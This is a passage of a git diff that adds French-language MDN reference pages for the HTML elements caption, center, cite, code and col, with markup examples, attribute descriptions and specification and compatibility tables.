+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;Une légende pour un tableau&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Bip bop bip bop&lt;/td&gt;
+    &lt;td&gt;Bop bip bop bip&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">caption {
+  caption-side: top;
+  align: right;
+}
+table {
+  border-collapse: collapse;
+  border-spacing: 0px;
+}
+table, th, td {
+  border: 1px solid black;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","200")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Catégorie de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de fin peut être absente si l'élément n'est pas immédiatement suivi d'un blanc ASCII ou d'un commentaire.</td>
+  </tr>
+  <tr>
+   <th scope="row">Éléments parents autorisés</th>
+   <td>Un élément {{HTMLElement("table")}} dont il doit être le premier descendant.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableCaptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.2', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.caption")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux :
+  <ul>
+   <li>{{HTMLElement("col")}}</li>
+   <li>{{HTMLElement("colgroup")}}</li>
+   <li>{{HTMLElement("table")}}</li>
+   <li>{{HTMLElement("tbody")}}</li>
+   <li>{{HTMLElement("td")}}</li>
+   <li>{{HTMLElement("tfoot")}}</li>
+   <li>{{HTMLElement("th")}}</li>
+   <li>{{HTMLElement("thead")}}</li>
+   <li>{{HTMLElement("tr")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés CSS pouvant être utilisées pour mettre en forme l'élément {{HTMLElement("caption")}} :
+  <ul>
+   <li>{{cssxref("text-align")}}</li>
+   <li>{{cssxref("caption-side")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/center/index.html b/files/fr/web/html/element/center/index.html
new file mode 100644
index 0000000000..cd47d48252
--- /dev/null
+++ b/files/fr/web/html/element/center/index.html
@@ -0,0 +1,97 @@
+---
+title: '<center> : l''élément de texte centré'
+slug: Web/HTML/Element/center
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/center
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<p>L’élément HTML <strong><code>&lt;center&gt;</code></strong> est un <a href="/fr/docs/Web/HTML/Éléments_en_bloc">élément de type bloc</a> qui contient des paragraphes et d'autres éléments de type bloc ou en ligne. Le contenu entier de cet élément est centré horizontalement au sein de son conteneur parent (généralement l'élément {{HTMLElement("body")}}).</p>
+
+<p>Cet élément a été déprécié en HTML4 (et XHTML 1) au profit de la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref("text-align")}} qui peut être appliqué à l'élément {{HTMLElement("div")}} ou à un élément {{HTMLElement("p")}}. Pour centrer des blocs, on utilisera d'autres propriétés ({{cssxref("margin-left")}} et {{cssxref("margin-right")}} avec la valeur <code>auto</code> par exemple ou <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Utilisation_des_flexbox_en_CSS">les boîtes flexibles</a>).</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("HTMLElement")}}.</p>
+
+<div class="note">
+<p><strong>Note d'implémentation :</strong> Jusqu'à Gecko 1.9.2 inclus, Firefox implémentait l'interface {{domxref("HTMLSpanElement")}} pour cet élément.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Premier_exemple_(HTML)">Premier exemple (HTML)</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;center&gt;
+  Ce texte sera centré.
+  &lt;p&gt;Ainsi que ce paragraphe.&lt;/p&gt;
+&lt;/center&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Premier_exemple_(HTML)","200","100")}}</p>
+
+<h3 id="Deuxième_exemple_(CSS)">Deuxième exemple (CSS)</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="centrer"&gt;
+  Ce texte sera centré.
+  &lt;p&gt;Ainsi que ce paragraphe.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.centrer {
+  text-align: center;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Deuxième_exemple_(CSS)","200","100")}}</p>
+
+<h3 id="Troisième_exemple_(CSS)">Troisième exemple (CSS)</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p class="centrer"&gt;
+  Cette ligne sera centrée.&lt;br&gt;
+  Ainsi que cette ligne.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.centrer {
+  text-align: center;
+}
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Troisième_exemple_(CSS)","200","100")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Appliquer {{cssxref("text-align")}}<code>: center</code> sur un élément {{HTMLElement("p")}} ou {{HTMLElement("div")}} centre <em>le contenu</em> de ces éléments, tout en laissant leurs dimensions générales inchangées.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.center")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/cite/index.html b/files/fr/web/html/element/cite/index.html
new file mode 100644
index 0000000000..a33ddafc2e
--- /dev/null
+++ b/files/fr/web/html/element/cite/index.html
@@ -0,0 +1,145 @@
+---
+title: '<cite> : l''élément de citation'
+slug: Web/HTML/Element/cite
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/cite
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;cite&gt;</code></strong> contient le titre d'une œuvre telle qu'un livre, une chanson, un film, une sculpture… Cet élément doit inclure le titre de l'œuvre. Cette référence peut-être abrégée en accord avec les conventions d'usages pour l'ajout des métadonnées de citations.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/cite.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend uniquement en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Voici des exemples d'œuvres auxquelles on pourrait faire référence grâce à un élément <code>&lt;cite&gt;</code> :</p>
+
+<div class="threecolumns" id="creative-works">
+<ul>
+ <li>Un livre</li>
+ <li>Un article de recherche</li>
+ <li>Un essai</li>
+ <li>Un poème</li>
+ <li>Une pièce musicale</li>
+ <li>Une chanson</li>
+ <li>Le script d'une pièce ou d'un film</li>
+ <li>Un film</li>
+ <li>Une émission télévisée</li>
+ <li>Un jeu</li>
+ <li>Une sculpture</li>
+ <li>Une peinture</li>
+ <li>Une pièce de théâtre</li>
+ <li>Un opéra</li>
+ <li>Une comédie musicale</li>
+ <li>Une exposition</li>
+ <li>Les minutes d'un procès</li>
+ <li>Un programme informatique</li>
+ <li>Un site web</li>
+ <li>Une page web</li>
+ <li>Un billet de blog ou un commentaire</li>
+ <li>Un billet ou un commentaire sur un forum</li>
+ <li>Une déclaration écrite ou orale</li>
+ <li>etc.</li>
+</ul>
+</div>
+
+<p>La spécification rédigée par le W3C indique qu'une référence à une œuvre peut inclure le nom de l'auteur. En revanche, celle écrite par le WHATWG indique qu'en aucun cas le nom d'une personne ne peut être inclus.</p>
+
+<p>Il faut utiliser l'attribut {{htmlattrxref("cite", "blockquote")}} d'un élément {{HTMLElement("blockquote")}} ou {{HTMLElement("q")}} pour fournir une ressource en ligne liée  à une source.</p>
+
+<p>Afin d'éviter l'utilisation de l'italique par défaut pour l'élément <code>&lt;cite&gt;</code>, on pourra utiliser la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref("font-style")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Plus d'informations sont disponibles dans &lt;cite&gt;[ISO-0000].&lt;/cite&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","100")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLElement")}}. Auparavant et jusqu'à Gecko 1.9.2 (Firefox 4) inclus, Firefox implémentait l'interface {{domxref("HTMLSpanElement")}} pour cet élément</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'text.html#h-9.2.1', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.cite")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("blockquote")}}, utilisé pour des citations longues.</li>
+ <li>{{HTMLElement("q")}}, utilisé pour des citations en incise.</li>
+</ul>
diff --git a/files/fr/web/html/element/code/index.html b/files/fr/web/html/element/code/index.html
new file mode 100644
index 0000000000..1964257a35
--- /dev/null
+++ b/files/fr/web/html/element/code/index.html
@@ -0,0 +1,118 @@
+---
+title: '<code> : l''élément de code en incise'
+slug: Web/HTML/Element/code
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/code
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;code&gt;</code></strong> représente un fragment de code machine. Par défaut, l'agent utilisateur utilise une police à chasse fixe (<em>monospace</em>) afin d'afficher le texte contenu dans cet élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/code.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend uniquement en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Texte normal. Voici comment déclarer une variable
+  en JavaScript : &lt;br/&gt;
+  &lt;code&gt;var i = 0;&lt;/code&gt;
+  Texte normal.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","100")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour représenter plusieurs lignes de code, on pourra utiliser l'élément {{HTMLElement("pre")}}.</p>
+
+<p>On peut utiliser une règle CSS afin de surcharger la police par défaut des navigateurs. Cependant, il faut garder à l'esprit que les préférences de l'utilisateur peuvent prendre le dessus sur la mise en forme définie via le CSS.</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}. Jusqu'à Gecko 1.9.2 (Firefox 4) inclus, Firefox implémentait l'interface {{domxref("HTMLSpanElement")}} pour cet élément.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.code")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("samp")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{deprecated_inline}} {{HTMLElement("command")}}</li>
+ <li>{{HTMLElement("var")}}</li>
+ <li>{{HTMLElement("pre")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/col/index.html b/files/fr/web/html/element/col/index.html
new file mode 100644
index 0000000000..6bae79df54
--- /dev/null
+++ b/files/fr/web/html/element/col/index.html
@@ -0,0 +1,277 @@
+---
+title: <col>
+slug: Web/HTML/Element/col
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableau
+  - Web
+translation_of: Web/HTML/Element/col
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;col&gt;</code></strong> définit une colonne appartenant à un tableau et est utilisé afin de définir la sémantique commune à toutes ses cellules. On trouve généralement cet élément au sein d'un élément {{HTMLElement("colgroup")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/col.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cet élément peut être mis en forme grâce à CSS mais seules quelques propriétés auront un effet sur la colonne (se référer à <a href="https://www.w3.org/TR/CSS21/tables.html#columns">la spécification CSS 2.1</a> pour une liste exhaustive)</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_globaux">les attributs universels</a> avec cet élément.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut énuméré définit l'alignement horizontal pour le contenu de chaque cellule de la colonne. Les valeurs possibles sont :
+ <ul>
+  <li><code>left</code> : le contenu de la cellule est aligné à gauche de la cellule</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insère des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs  {{htmlattrxref("char", "col")}} et {{htmlattrxref("charoff", "col")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, sa valeur est héritée de la valeur de l'attribut {{htmlattrxref("align", "colgroup")}} de l'élément {{HTMLElement("colgroup")}} auquel cette colonne appartient. S'il n'y en a pas, la valeur <code>left</code> est prise comme valeur par défaut.</p>
+
+ <div class="warning"><strong>Attention : </strong>Cet attribut est devenu obsolète dans le dernier standard.
+
+ <ul>
+  <li>Pour réaliser les mêmes effets que les valeurs <code>left</code>, <code>center</code>, <code>right</code> ou <code>justify</code> :
+
+   <ul>
+    <li>N'utilisez pas la propriété {{cssxref("text-align")}} sur un sélecteur renvoyant un élement {{HTMLElement("col")}}. Les éléments {{HTMLElement("td")}} ne sont pas des descendants de l'élément {{HTMLElement("col")}} il n'hériteront pas de cette propriété.</li>
+    <li>Si le tableau n'utilise pas l'attribut {{htmlattrxref("colspan", "td")}}, il est possible d'utiliser le sélecteur CSS <code>td:nth-child(an+b)</code> avec a qui vaut zéro et  <code>b</code> la position ordinale de la colonne dans le tableau. <code>td:nth-child(2) { text-align: right; }</code> permettra d'aligner à droite la deuxième colonne.</li>
+    <li>Si le tableau utilise l'attribut {{htmlattrxref("colspan", "td")}}, l'effet peut être réalisé en combinant différents sélecteurs CSS comme <code>[colspan=n]</code>. Cependant cela n'est pas trivial à effectuer.</li>
+   </ul>
+  </li>
+  <li>Pour réaliser le même effet qu'avec la valeur <code>char</code>. Il est possible, en CSS3, d'utiliser la valeur de l'attribut {{htmlattrxref("char", "col")}} comme valeur de la propriété {{cssxref("text-align")}}. {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules de la colonne. C'est un code à 6 chiffres hexadécimaux comme défini par le <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table>
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("col")}} doit être mis en forme grâce au CSS. Pour obtenir un effet semblable à celui obtenu avec l'attribut <code><strong>bgcolor</strong></code>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments {{HTMLElement("td")}} souhaités.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules de la colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "col")}} ne vaut pas <code>char</code>, l'attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "col")}}, on pourra utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd>Cet attribut contient un entier positif indiquand le nombre de colonne consécutives regroupées sous l'élément <code>&lt;col&gt;</code>. La valeur par défaut de cet attribut est 1.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Notes d'utilisation : </strong>Cet attribut étant maintenant obsolète (et n'étant plus supporté), il est fortement déconseillé de l'utiliser.
+
+ <ul>
+  <li>Il ne faut pas essayer de régler la propriété {{cssxref("vertical-align")}} sur un sélecteur retournant un élément {{HTMLElement("col")}}. En effet les éléments {{HTMLElement("td")}} n'étant pas des descendants de l'élément {{HTMLElement("col")}}, ils n'hériteront pas de la propriété.</li>
+  <li>Si le tableau n'utilise pas d'attribut {{htmlattrxref("colspan", "td")}} il est possible d'utiliser le sélecteur CSS <code>tr:nth-child(an+b)</code> avec a le nombre total de colonnes dans le tableau et b la position ordinale de la colonne dans le tableau. La propriété {{cssxref("vertical-align")}} peut alors être utilisée sur le sélecteur.</li>
